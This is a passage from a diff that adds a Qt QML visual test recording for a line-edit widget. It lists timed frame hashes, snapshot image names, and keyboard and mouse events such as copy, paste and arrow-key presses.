+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1712
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1728
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1744
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1760
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1776
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1792
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1808
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1824
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1840
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1856
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1872
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1888
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1904
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1920
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1936
+ image: "usingLineEdit.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1968
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 1984
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 67108864
+ text: "03"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2000
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2016
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2032
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2048
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2064
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2080
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2096
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2112
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2144
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2160
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2176
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2192
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2208
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2224
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2240
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2256
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2272
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2288
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2304
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2320
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2336
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2352
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2368
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2384
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2400
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2416
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2432
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2448
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2464
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2480
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Key {
+ type: 6
+ key: 16777233
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2512
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2528
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2544
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2560
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2576
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Key {
+ type: 7
+ key: 16777233
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2592
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2608
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2624
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2640
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2656
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2672
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2688
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2704
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2720
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2736
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2752
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2768
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2784
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2816
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2832
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2848
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2864
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2880
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2896
+ image: "usingLineEdit.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2928
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2944
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2960
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2976
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 2992
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3008
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3024
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3040
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3056
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3072
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3088
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3104
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3120
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3136
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3152
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3168
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3184
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3200
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Frame {
+ msec: 3216
+ hash: "c346bd1c6a8c04dff75bc14882a4d964"
+ }
+ Key {
+ type: 6
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3248
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3264
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3280
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3296
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3312
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3328
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Key {
+ type: 7
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3344
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3360
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3376
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3392
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3408
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3424
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3440
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3456
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3472
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3488
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3504
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3520
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3536
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Frame {
+ msec: 3552
+ hash: "4e24e7e6a205160479b0d23057a50b37"
+ }
+ Key {
+ type: 6
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3568
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3584
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3600
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3616
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3632
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3648
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3664
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3680
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Key {
+ type: 7
+ key: 86
+ modifiers: 67108864
+ text: "16"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3696
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3712
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3728
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3744
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3760
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3776
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3792
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3808
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3824
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3840
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3856
+ image: "usingLineEdit.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3888
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3904
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3920
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3936
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3952
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3968
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 3984
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4000
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4016
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4032
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4048
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4064
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4080
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4096
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4112
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4128
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4144
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4160
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4176
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4192
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4208
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4224
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4240
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4256
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4272
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4288
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4304
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4320
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4336
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4352
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4368
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4384
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4400
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4416
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4432
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4448
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4464
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4480
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4496
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4512
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4528
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4544
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4560
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4576
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4592
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4608
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4624
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4640
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4656
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4672
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4688
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Frame {
+ msec: 4704
+ hash: "c6354c09a2bdf6ff23cae30640abdd65"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 69; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4720
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4736
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4752
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4768
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4784
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4800
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 69; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4816
+ image: "usingLineEdit.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4848
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4864
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4880
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4896
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4912
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4928
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4944
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4960
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4976
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 4992
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5008
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5024
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5040
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5056
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5072
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5088
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5104
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5120
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5136
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5152
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5168
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5184
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5200
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5216
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5232
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5248
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5264
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5280
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5296
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5312
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5328
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5344
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Frame {
+ msec: 5360
+ hash: "b7e9475cc88b099f9e17b67f4d0c8ed0"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5376
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5392
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5408
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5424
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5440
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5456
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5472
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5488
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5504
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5520
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5536
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5552
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5568
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5584
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5600
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Frame {
+ msec: 5616
+ hash: "5435254889b22b00b043f0d748021369"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5632
+ hash: "94fa3848acc33accfb607ce31029f06d"
+ }
+ Frame {
+ msec: 5648
+ hash: "94fa3848acc33accfb607ce31029f06d"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5664
+ hash: "1ea423dd8084001f2357f1613a77daa4"
+ }
+ Frame {
+ msec: 5680
+ hash: "1ea423dd8084001f2357f1613a77daa4"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5696
+ hash: "b0f808e85cc5721473da7cd84b1987dc"
+ }
+ Frame {
+ msec: 5712
+ hash: "b0f808e85cc5721473da7cd84b1987dc"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5728
+ hash: "0667aaf2eb49c2375b831301fefb0035"
+ }
+ Frame {
+ msec: 5744
+ hash: "0667aaf2eb49c2375b831301fefb0035"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5760
+ hash: "7680aca6b9feccc7e73efa79c1473ce8"
+ }
+ Frame {
+ msec: 5776
+ image: "usingLineEdit.6.png"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5792
+ hash: "fbbc99bf6a697d60ef348148c0a48bc2"
+ }
+ Frame {
+ msec: 5808
+ hash: "fbbc99bf6a697d60ef348148c0a48bc2"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5824
+ hash: "9550d8fab2512470dd9dde62f3494450"
+ }
+ Frame {
+ msec: 5840
+ hash: "9550d8fab2512470dd9dde62f3494450"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5856
+ hash: "9550d8fab2512470dd9dde62f3494450"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5872
+ hash: "ab79f5095d60f5cef526a074ef6d4e96"
+ }
+ Frame {
+ msec: 5888
+ hash: "ab79f5095d60f5cef526a074ef6d4e96"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5904
+ hash: "4e6ef470ed2c2a2418a4838c6e4ae64b"
+ }
+ Key {
+ type: 7
+ key: 16777236
